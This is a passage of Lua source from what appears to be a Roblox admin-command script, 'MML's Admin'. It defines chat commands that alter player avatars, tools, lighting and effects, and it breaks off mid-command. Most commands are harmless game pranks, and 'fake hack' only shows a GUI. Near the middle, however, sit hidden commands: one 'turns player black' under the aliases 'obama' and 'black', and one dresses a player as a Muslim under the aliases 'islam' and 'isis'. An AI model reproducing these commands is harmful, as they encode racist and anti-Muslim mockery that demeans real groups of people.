6991 [{"noaccessories", "noaccessory", "noacs", "nohats", "nohat"}] = {"player", "Removes player's accessories", 1, "Member", false, function(Speaker, Rank, Arguments)
6992 local Players = STRING:Scan(Arguments[1], Speaker)
6993 for _,Player in pairs(Players) do
6994 if Player.Character then
6995 for _,Obj in pairs(Player.Character:GetChildren()) do
6996 if Obj:IsA("Accoutrement") then
6997 Obj:Destroy()
6998 end
6999 end
7000 end
7001 end
7002 end};
7003
7004 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
7005 local Players = STRING:Scan(Arguments[1], Speaker)
7006 for _,Player in pairs(Players) do
7007 Player:ClearCharacterAppearance()
7008 end
7009 end};
7010
7011 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
7012 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
7013 local TmpPlayers = {}
7014 local Output = {}
7015 for _,Data in pairs(Players) do
7016 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
7017 end
7018 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
7019 end};
7020
7021 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
7022 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
7023 GUI:SendHint(Speaker, "Player Database cleared", 5)
7024 end};
7025
7026 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
7027 local Players = STRING:Scan(Arguments[1], Speaker)
7028 for _,Player in pairs(Players) do
7029 GUI:FakeHack(Player)
7030 end
7031 end};
7032
7033 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7034 local Players = STRING:Scan(Arguments[1], Speaker)
7035 for _,Player in pairs(Players) do
7036 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7037 for _,Object in pairs(Player.Backpack:GetChildren()) do
7038 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7039 local Clone = Object:Clone()
7040 Clone.Parent = Speaker.Backpack
7041 end
7042 end
7043 end
7044 end
7045 end};
7046
7047 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
7048 local Players = STRING:Scan(Arguments[1], Speaker)
7049 for _,Player in pairs(Players) do
7050 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7051 for _,Object in pairs(Player.Backpack:GetChildren()) do
7052 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7053 Object.Parent = Speaker.Backpack
7054 end
7055 end
7056 end
7057 end
7058 end};
7059
7060 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7061 local Players = STRING:Scan(Arguments[1], Speaker)
7062 for _,Player in pairs(Players) do
7063 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
7064 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
7065 if Object:IsA("Tool") or Object:IsA("HopperBin") then
7066 local Clone = Object:Clone()
7067 Clone.Parent = Player.Backpack
7068 end
7069 end
7070 end
7071 end
7072 end};
7073
7074 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
7075 local Players = STRING:Scan(Arguments[1], Speaker)
7076 for _,Player in pairs(Players) do
7077 if Player:FindFirstChild("Backpack") then
7078 Player.Backpack:ClearAllChildren()
7079 end
7080 if Player.Character ~= nil then
7081 for _,Obj in pairs(Player.Character:GetChildren()) do
7082 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
7083 Obj:Destroy()
7084 end
7085 end
7086 end
7087 end
7088 end};
7089
7090 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
7091 local Players = STRING:Scan(Arguments[1], Speaker)
7092 for _,Player in pairs(Players) do
7093 if Player.Character then
7094 if Player.Character:FindFirstChild("Head") then
7095 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
7096 coroutine.wrap(function()
7097 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7098 local OldFace = Player.Character.Head.face.Texture
7099 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
7100 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
7101 Player.Character.Head.face.Texture = "rbxassetid://24067663"
7102 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
7103 Sound:Play()
7104 coroutine.wrap(function() for i = 1,100 do wait()
7105 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
7106 coroutine.wrap(function() wait(3) Part:Destroy() end)()
7107 end
7108 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
7109 end end
7110 end)()
7111 end
7112 end
7113 end
7114 end
7115 end};
7116
7117 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
7118 local Players = STRING:Scan(Arguments[1], Speaker)
7119 for _,Player in pairs(Players) do
7120 if Player.Character then
7121 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
7122 coroutine.wrap(function()
7123 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
7124 local OldFace = Player.Character.Head.face.Texture
7125 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
7126 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
7127 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
7128 Player.Character.Head.face.Texture = "rbxassetid://28118994"
7129 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
7130 Sound:Play()
7131 wait(1)
7132 Smoke.Enabled = false
7133 wait(1)
7134 Fart:Destroy()
7135 Fart:Destroy()
7136 Player.Character.Head.face.Texture = OldFace
7137 end end
7138 end)()
7139 end
7140 end
7141 end
7142 end};
7143
7144 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
7145 local Players = STRING:Scan(Arguments[1], Speaker)
7146 for _,Player in pairs(Players) do
7147 if Player:FindFirstChild("Backpack") then
7148 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
7149 end
7150 end
7151 end};
7152
7153 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
7154 local Players = STRING:Scan(Arguments[1], Speaker)
7155 for _,Player in pairs(Players) do
7156 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
7157 Player.Character.MMLGraffiti:ClearAllChildren()
7158 end
7159 end
7160 end};
7161
7162 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
7163 local Players = STRING:Scan(Arguments[1], Speaker)
7164 for _,Player in pairs(Players) do
7165 if Player.Character and Player.Character:FindFirstChild("Torso") then
7166 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
7167 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
7168 end
7169 end
7170 end};
7171
7172 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
7173 local Players = STRING:Scan(Arguments[1], Speaker)
7174 for _,Player in pairs(Players) do
7175 if Player.Character and Player.Character:FindFirstChild("Torso") then
7176 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
7177 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
7178 end
7179 end
7180 end};
7181
7182 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
7183 local Players = STRING:Scan(Arguments[1], Speaker)
7184 for _,Player in pairs(Players) do
7185 if Player.Character and Player.Character:FindFirstChild("Torso") then
7186 local Lights = {}
7187 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
7188 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
7189 table.insert(Lights, Obj)
7190 end
7191 end
7192 for _,Light in pairs(Lights) do
7193 coroutine.wrap(function()
7194 for i = 1,20 do
7195 Light.Brightness = Light.Brightness/5
7196 wait()
7197 end
7198 Light:Destroy()
7199 end)()
7200 end
7201 end
7202 end
7203 end};
7204
7205 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
7206 local Players = STRING:Scan(Arguments[1], Speaker)
7207 for _,Player in pairs(Players) do
7208 if Player.Character and Player:FindFirstChild("PlayerGui") then
7209 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7210 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
7211 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
7212 local Stop = false
7213 coroutine.wrap(function()
7214 repeat
7215 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
7216 wait(0.1)
7217 until not SG or not SG.Parent
7218 end)()
7219 CORE:ExecuteResource("Drug", Player.Character)
7220 end
7221 end
7222 end};
7223
7224 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
7225 local Players = STRING:Scan(Arguments[1], Speaker)
7226 for _,Player in pairs(Players) do
7227 if Player:FindFirstChild("PlayerGui") then
7228 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
7229 wait() CORE:RestoreCamera(Player)
7230 end
7231 end
7232 end};
7233
7234 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
7235 local AbuseMode = false
7236 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
7237 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
7238 if Speaker:FindFirstChild("Backpack") then
7239 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
7240 end
7241 end)
7242 end, Http = true};
7243
7244 [{"searchaccessory", "searchaccessories", "searchacs", "searcha", "searchhat", "searchhats", "searchh"}] = {"string(type) string(query)", "Searches the catalog for the accessory string(query) with the type of string(type)", 1, "Member", false, function(Speaker, Rank, Arguments)
7245 local Type = "all"
7246 local Query = string.lower(Arguments[1])
7247 local Arguments = STRING:GetSplit(Query, 2, Settings.Bet)
7248 if #Arguments == 2 and Assets.AccessoryTypes[Arguments[1]] then
7249 Type = Arguments[1]
7250 Query = Arguments[2]
7251 end
7252 MARKET:ShowSearch(Speaker, 11, Query, function(ID)
7253 if Speaker.Character then
7254 CORE:Insert(ID, Speaker.Character, true, {"Accoutrement"})
7255 end
7256 end, MARKET:AccessoryToSubcategory(Type))
7257 end, Http = true};
7258
7259 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
7260 MARKET:ShowSearch(Speaker, 11, Arguments[1], function(ID)
7261 if Speaker.Character then
7262 CORE:GivePackage(Speaker, ID)
7263 end
7264 end, 11)
7265 end, Http = false};
7266
7267 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
7268 local Players = STRING:Scan(Arguments[1], Speaker)
7269 for _,Player in pairs(Players) do
7270 CORE:GivePackage(Player)
7271 end
7272 end};
7273
7274 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7275 local Players = STRING:Scan(Arguments[1], Speaker)
7276 for _,Player in pairs(Players) do
7277 CORE:GivePackage(Player, Arguments[2])
7278 end
7279 end, Http = false};
7280
7281 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
7282 local Players = STRING:Scan(Arguments[1], Speaker)
7283 for _,Player in pairs(Players) do
7284 local Stats = Player:FindFirstChild("leaderstats")
7285 if Stats ~= nil then
7286 for _,Stat in pairs(Stats:GetChildren()) do
7287 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7288 ypcall(function() Stat.Value = Arguments[3] end)
7289 end
7290 end
7291 end
7292 end
7293 end};
7294
7295 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7296 local ID = tonumber(Arguments[2])
7297 local Players = STRING:Scan(Arguments[1], Speaker)
7298 for _,Player in pairs(Players) do
7299 for _,Player in pairs(Players) do
7300 if Player.Character ~= nil then
7301 local Obj = Player.Character:FindFirstChild("Shirt")
7302 if Obj then
7303 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7304 else
7305 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7306 end
7307 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7308 end
7309 end
7310 end
7311 end};
7312
7313 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7314 local ID = tonumber(Arguments[2])
7315 local Players = STRING:Scan(Arguments[1], Speaker)
7316 for _,Player in pairs(Players) do
7317 for _,Player in pairs(Players) do
7318 if Player.Character ~= nil then
7319 local Obj = Player.Character:FindFirstChild("Pants")
7320 if Obj then
7321 Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7322 else
7323 Obj = Instance.new("Pants", Player.Character) Obj.Name = "Pants" Obj.PantsTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
7324 end
7325 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
7326 end
7327 end
7328 end
7329 end};
7330
7331 [{"tshirt"}] = {"player num(ID)", "Changes player's T-shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7332 local ID = tonumber(Arguments[2])
7333 local Players = STRING:Scan(Arguments[1], Speaker)
7334 for _,Player in pairs(Players) do
7335 for _,Player in pairs(Players) do
7336 if Player.Character ~= nil then
7337 if Player.Character:FindFirstChild("Torso") then
7338 local Obj1 = Player.Character:FindFirstChild("Shirt Graphic")
7339 local Obj2 = Player.Character.Torso:FindFirstChild("roblox")
7340 if Obj1 then
7341 Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7342 else
7343 Obj1 = Instance.new("ShirtGraphic", Player.Character) Obj1.Name = "Shirt Graphic" Obj1.Graphic = "rbxassetid://"..MARKET:GetImageFormat(ID)
7344 end
7345 if Obj2 then
7346 Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID)
7347 else
7348 Obj2 = Instance.new("Decal", Player.Character.Torso) Obj2.Name = "roblox" Obj2.Texture = "rbxassetid://"..MARKET:GetImageFormat(ID) Obj2.Face = "Front"
7349 end
7350 coroutine.wrap(function() Obj1.Parent = nil wait(0.1) Obj1.Parent = Player.Character end)()
7351 coroutine.wrap(function() Obj2.Parent = nil wait(0.2) Obj2.Parent = Player.Character.Torso end)()
7352 end
7353 end
7354 end
7355 end
7356 end};
7357
7358 [{"oder", "od", "onlinedater", "onlinedate"}] = {"player", "Changes player's character to be an online dater", 1, "Member", false, function(Speaker, Rank, Arguments)
7359 local Players = STRING:Scan(Arguments[1], Speaker)
7360 for _,Player in pairs(Players) do
7361 CORE:ChangeCharacter(Player, OderIDs[math.random(1,#OderIDs)], false, Speaker)
7362 end
7363 end};
7364
7365 [{"cookie"}] = {"player", "Gives player a cookie if the speaker is in the admin group", 1, "Member", false, function(Speaker, Rank, Arguments)
7366 if CORE:InAdminGroup(Speaker) then
7367 local Players = STRING:Scan(Arguments[1], Speaker)
7368 for _,Player in pairs(Players) do
7369 if Player:FindFirstChild("Backpack") then
7370 local Tool = Instance.new("Tool", Player.Backpack) Tool.Name = "Cookie" Tool.ToolTip = "Yey! Cookies!" Tool.GripForward = Vector3.new(0,1,0) Tool.GripPos = Vector3.new(0.1,-0.3,-0.1) Tool.GripRight = Vector3.new(0,0,-1) Tool.GripUp = Vector3.new(0.01,0,1)
7371 local Handle = Instance.new("Part", Tool) Handle.Name = "Handle" Handle.Size = Vector3.new(1,1,1)
7372 local Mesh = Instance.new("SpecialMesh", Handle) Mesh.MeshType = "FileMesh" Mesh.Scale = Vector3.new(0.4,0.4,0.4) Mesh.MeshId = "rbxassetid://20939848" Mesh.TextureId = "rbxassetid://21456464"
7373 local Anim = Instance.new("Animation", Tool) Anim.Name = "EatCookie" Anim.AnimationId = "rbxassetid://29517689"
7374 CORE:ExecuteResource("CookieTool", Tool)
7375 end
7376 end
7377 end
7378 end};
7379
7380 [{"decal", "image"}] = {"num(ID)", "Allows player to insert num(ID) as a decal", 1, "Member", false, function(Speaker, Rank, Arguments)
7381 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7382 CORE:ExecuteResource("InsertDecal", Speaker.Backpack, {["DecalID"] = MARKET:GetImageFormat(tonumber(Arguments[1]))})
7383 end
7384 end};
7385
7386 [{"insert", "model", "ins"}] = {"num(ID)", "Allows player to insert num(ID) as a model(Only works if the model is owned by the owner of the game or ROBLOX)", 1, "Member", false, function(Speaker, Rank, Arguments)
7387 if Speaker:FindFirstChild("Backpack") and tonumber(Arguments[1]) then
7388 local Model = CORE:Insert(tonumber(Arguments[1]), Server.RS)
7389 Model:MakeJoints()
7390 for i = 1,math.random(10,20) do
7391 Model.Name = Model.Name..string.char(math.random(97,122))
7392 end
7393 if Model:GetChildren()[1] then
7394 table.insert(Objects, Model)
7395 CORE:ExecuteResource("InsertModel", Speaker.Backpack, {["Model"] = Model})
7396 end
7397 end
7398 end};
7399
7400 [{"animate", "animation", "anim"}] = {"player num(ID)", "Animates player to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7401 local ID = tonumber(Arguments[2])
7402 local Players = STRING:Scan(Arguments[1], Speaker)
7403 for _,Player in pairs(Players) do
7404 if Player.Character then
7405 CORE:ExecuteResource("PlayAnimation", Player.Character, {["AnimationID"] = Arguments[2]})
7406 end
7407 end
7408 end};
7409
7410 [{"noanimate", "moanimation", "noanim", "unanimate", "unanimation", "unanim"}] = {"player", "Stops animations playing from the animate command", 1, "Member", false, function(Speaker, Rank, Arguments)
7411 local Players = STRING:Scan(Arguments[1], Speaker)
7412 for _,Player in pairs(Players) do
7413 if Player.Character then
7414 local StopAnim = Player.Character:FindFirstChild("Stop MML Animate")
7415 if StopAnim then StopAnim:Destroy() end
7416 end
7417 end
7418 end};
7419
7420 [{"ambient"}] = {"Color3(1) Color3(2) Color3(3)", "Changes the ambient lighting to Red - Color3(1) Green - Color3(2) Blue - Color3(3) (Out of 255)", 3, "Member", false, function(Speaker, Rank, Arguments)
7421 if tonumber(Arguments[1]) and tonumber(Arguments[2]) and tonumber(Arguments[3]) then
7422 Server.Lighting.Ambient = Color3.new(tonumber(Arguments[1])/255,tonumber(Arguments[2])/255,tonumber(Arguments[3])/255)
7423 end
7424 end};
7425
7426 [{"brightness", "bright"}] = {"num", "Changes the lighting brightness to num", 1, "Member", false, function(Speaker, Rank, Arguments)
7427 if tonumber(Arguments[1]) then
7428 Server.Lighting.Brightness = tonumber(Arguments[1])
7429 end
7430 end};
7431
7432 [{"pl", "playerlist"}] = {"player", "Enables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7433 local Players = STRING:Scan(Arguments[1], Speaker)
7434 for _,Player in pairs(Players) do
7435 GUI:CoreGui(Player, "PlayerList", true)
7436 end
7437 end};
7438
7439 [{"npl", "nopl", "unpl", "noplayerlist", "unplayerlist"}] = {"player", "Disables player to see the player list", 1, "Member", false, function(Speaker, Rank, Arguments)
7440 local Players = STRING:Scan(Arguments[1], Speaker)
7441 for _,Player in pairs(Players) do
7442 local Players = STRING:Scan(Arguments[1], Speaker)
7443 GUI:CoreGui(Player, "PlayerList", false)
7444 end
7445 end};
7446
7447 [{"bc", "tbc", "obc"}] = {"player", "What do you know, it's a real command!", 1, "Member", false, function(Speaker, Rank, Arguments)
7448 GUI:SendMessage(Speaker, "Wow, you thought this was a command", "Did you look at the comments by chance?", 5253865)
7449 end, Hidden = true};
7450
7451 [{"obama", "black", "1337"}] = {"player", "Turns player black", 1, "Member", false, function(Speaker, Rank, Arguments)
7452 local Players = STRING:Scan(Arguments[1], Speaker)
7453 for _,Player in pairs(Players) do
7454 CORE:ChangeCharacter(Player, 1337, false, Speaker)
7455 end
7456 end, Hidden = true};
7457
7458 [{"muslim", "islam", "isis"}] = {"player", "Turns player into a muslim", 1, "Member", false, function(Speaker, Rank, Arguments)
7459 local Players = STRING:Scan(Arguments[1], Speaker)
7460 for _,Player in pairs(Players) do
7461 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7462 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
7463 Player:ClearCharacterAppearance()
7464 CORE:Insert(12436480, Player.Character, true)
7465 Player.Character.Head.face.Texture = "rbxassetid://110287880"
7466 Instance.new("Shirt", Player.Character).ShirtTemplate = "rbxassetid://205596436"
7467 Instance.new("Pants", Player.Character).PantsTemplate = "rbxassetid://205596483"
7468 end
7469 end
7470 end, Hidden = true};
7471
7472 [{"noob", "noobify", "boon"}] = {"player", "Turns player into a noob", 1, "Member", false, function(Speaker, Rank, Arguments)
7473 local Players = STRING:Scan(Arguments[1], Speaker)
7474 for _,Player in pairs(Players) do
7475 CORE:ChangeCharacter(Player, 0, false, Speaker)
7476 end
7477 end};
7478
7479 [{"nofilter", "unfilter", "defilter"}] = {"", "Removes current filter", 0, "Owner", false, function(Speaker, Rank, Arguments)
7480 ShouldFilter = false
7481 end, Hidden = true};
7482
7483 [{"bet"}] = {"string", "Changes the bet to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7484 local Bet = Arguments[1]
7485 if Bet == "/" or Bet == "-" or Bet == "(" or Bet == ")" then
7486 GUI:SendMessage(Speaker, "Cannot change bet", "RED Illegal characters used to become a bet", "Error")
7487 elseif #Bet > 5 then
7488 GUI:SendMessage(Speaker, "Bet too long", "RED The bet is too long and is over 5 characters (You have "..#Bet.." characters)", "Error")
7489 else
7490 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the bet", "You are about to change the bet from '"..Settings.Bet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me, Continue?", "Question", {"Yes", "No"})
7491 if Answer == "Yes" then
7492 local OldBet = Settings.Bet
7493 CORE:ChangeBet(Bet)
7494 GUI:MessageAdmins("Bet Change", "The bet has changed from '"..OldBet.."' to '"..Bet.."' and commands like "..Settings.Prefix.."ff"..OldBet.."me will be changed to "..Settings.Prefix.."ff"..Bet.."me")
7495 end
7496 end
7497 end};
7498
7499 [{"prefix"}] = {"string", "Changes the prefix to string", 1, "Owner", false, function(Speaker, Rank, Arguments)
7500 local Prefix = Arguments[1]
7501 if #Prefix > 5 then
7502 GUI:SendMessage(Speaker, "Prefix too long", "RED The Prefix is too long and is over 5 characters (You have "..#Prefix.." characters)", "Error")
7503 else
7504 local Answer = GUI:PromptMessageWithButtons(Speaker, "Are you sure you want to change the Prefix", "You are about to change the Prefix from '"..Settings.Prefix.."' to '"..Prefix.."' and commands like "..Settings.Prefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me, Continue?", "Question", {"Yes", "No"})
7505 if Answer == "Yes" then
7506 local OldPrefix = Settings.Prefix
7507 Settings.Prefix = Prefix
7508 GUI:MessageAdmins("Prefix Change", "The Prefix has changed from '"..OldPrefix.."' to '"..Prefix.."' and commands like "..OldPrefix.."ff"..Settings.Bet.."me will be changed to "..Prefix.."ff"..Settings.Bet.."me")
7509 end
7510 end
7511 end};
7512
7513 [{"commandbar", "cmdbar", "cbar", "commandgui", "cmdgui", "cgui", "commandbox", "cmdbox", "cbox"}] = {"", "Gives you a command bar to enter commands", 0, "Member", false, function(Speaker, Rank, Arguments)
7514 GUI:CommandBar(Speaker)
7515 end};
7516
7517 [{"permcommandbar", "permcmdbar", "permcommandgui", "permcmdgui"}] = {"", "Gives you a command bar for each time you spawn", 0, "Admin", false, function(Speaker, Rank, Arguments)
7518 GUI:CommandBar(Speaker)
7519 PermCommandBars[Speaker.Name] = true
7520 end};
7521
7522 [{"nopermcommandbar", "nopermcmdbar", "nopermcommandgui", "nopermcmdgui", "unpermcommandbar", "unpermcmdbar", "unpermcommandgui", "unpermcmdgui"}] = {"", "If you are in the perm command bar list, it takes you out(You keep command bar for current spawn)", 0, "Admin", false, function(Speaker, Rank, Arguments)
7523 PermCommandBars[Speaker.Name] = nil
7524 end};
7525
7526 [{"remotenopermcommandbar", "remotenopermcmdbar", "remotenopermcommandgui", "remotenopermcmdgui", "remoteunpermcommandbar", "remoteunpermcmdbar", "remoteunpermcommandgui", "remoteunpermcmdgui"}] = {"player", "If player is in the perm command bar list, it takes player out(player keep command bar for current spawn)", 1, "Owner", false, function(Speaker, Rank, Arguments)
7527 local Players = STRING:Scan(Arguments[1], Speaker)
7528 for _,Player in pairs(Players) do
7529 PermCommandBars[Player.Name] = nil
7530 end
7531 end};
7532
7533 [{"dummy", "newdummy", "dum", "figure"}] = {"", "Creates a dummy", 0, "Member", false, function(Speaker, Rank, Arguments)
7534 CORE:CreateFigure("Dummy", nil, true, Speaker)
7535 end};
7536
7537 [{"namedummy", "dummyname", "namenewdummy", "namedum", "dumname", "namefigure", "ndummy", "nnewdummy", "ndum", "nfigure"}] = {"string", "Creates a dummy named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7538 CORE:CreateFigure(Arguments[1], nil, true, Speaker)
7539 end};
7540
7541 [{"clone", "copy"}] = {"player", "Creates clone of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7542 local Players = STRING:Scan(Arguments[1], Speaker)
7543 for _,Player in pairs(Players) do
7544 CORE:ClonePlayer(Player)
7545 end
7546 end};
7547
7548 [{"nameclone", "clonename", "namecopy", "nclone", "ncopy"}] = {"player string", "Creates clone of player named string", 2, "Member", false, function(Speaker, Rank, Arguments)
7549 local Players = STRING:Scan(Arguments[1], Speaker)
7550 for _,Player in pairs(Players) do
7551 CORE:ClonePlayer(Player, Arguments[2])
7552 end
7553 end};
7554
7555 [{"clear", "clr"}] = {"", "Clears debris in workspace left by the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
7556 for _,Obj in pairs(Objects) do
7557 if Obj then Obj:Destroy() end
7558 end
7559 for Name,Jail in pairs(Jails) do
7560 if not game.Players:FindFirstChild(Name) then
7561 Jail:Destroy()
7562 Jails[Name] = nil
7563 end
7564 end
7565 Objects = {}
7566 end};
7567
7568 [{"clean", "cln"}] = {"", "Clears debris in workspace by players", 0, "Member", false, function(Speaker, Rank, Arguments)
7569 for _,Obj in pairs(Server.Workspace:GetChildren()) do
7570 if Obj:IsA("Accoutrement") or Obj:IsA("Tool") then
7571 Obj:Destroy()
7572 end
7573 end
7574 end};
7575
7576 [{"sparkles", "sparks"}] = {"player", "Adds a sparkling effect to player", 1, "Member", false, function(Speaker, Rank, Arguments)
7577 local Players = STRING:Scan(Arguments[1], Speaker)
7578 for _,Player in pairs(Players) do
7579 if Player.Character and Player.Character:FindFirstChild("Torso") then
7580 local Sparkles = Instance.new("Sparkles", Player.Character.Torso) table.insert(Objects, Sparkles)
7581 end
7582 end
7583 end};
7584
7585 [{"fire"}] = {"player", "Makes player catch on fire", 1, "Member", false, function(Speaker, Rank, Arguments)
